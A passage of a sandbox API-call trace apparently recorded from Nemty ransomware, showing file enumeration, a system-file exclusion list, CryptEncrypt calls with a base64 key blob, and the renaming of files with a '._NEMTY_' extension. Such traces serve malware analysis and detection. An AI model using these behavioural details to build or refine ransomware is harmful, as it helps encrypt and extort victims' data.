lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.515] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.525] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.534] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.544] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.544] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.591] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.607] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.613] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.613] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0079.613] CloseHandle (hObject=0xffffffff) returned 0 [0079.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0079.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0079.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0079.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0079.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0079.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0079.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0079.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0079.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0079.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0079.614] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0079.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0079.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0079.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0079.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0079.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0079.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0079.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0079.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0079.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0079.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.616] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.616] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="rsa") returned -1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="programdata") returned -1 [0079.617] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0079.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0079.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0079.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0079.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943d0 [0079.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0079.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0079.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943d0 | out: hHeap=0x4f90000) returned 1 [0079.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0079.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0079.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0079.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0079.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0079.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0079.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0079.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0079.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0079.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0079.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0079.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0079.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0079.618] Sleep (dwMilliseconds=0x5) [0079.620] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe31aaeb0, dwHighDateTime=0x1d561e7)) [0079.620] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe31aaeb0, dwHighDateTime=0x1d561e7)) [0079.620] GetLastError () returned 0x5 [0079.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0079.620] GetLastError () returned 0x5 [0079.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0079.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0079.621] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0079.621] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0079.621] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0079.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0079.621] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="wlUx2yL4yEZSTvrl8wReTNexkinmBBfWpD3+NXiNi09qVz5A1ukEgMZ4Z4561v1R\r\nRB4DiTazahnNCzSCDzEP6NkhcMRFLjSXBHCzSeBhjTmH0HHNkMD18bbG2s8SzkBv\r\nTqiazdpLMPe8VTxDPWjy0KJ6dgi5xUaomjlbDFj4GgQIwPsda+bs2zDcNjdUoZoB\r\nj9C2qp0z0q7BMIAkZiXm5hc6WYmMgKTdk6mKMk4GswXcAkwcUBhFkd5yWfM1XaJI\r\ntvtx6e+0tuk17H8JczeA7R/0og0Lzv7U+dgbOyFmQEi7buwy/sNTCg67eCLeQOp7\r\njyUH51T9IktNkK8oZX53nw==\r\n", pcchString=0x653e91c) returned 1 [0079.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0079.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0079.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0079.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0079.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0079.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0079.621] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0079.621] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0079.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0079.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.650] SetFilePointer (in: 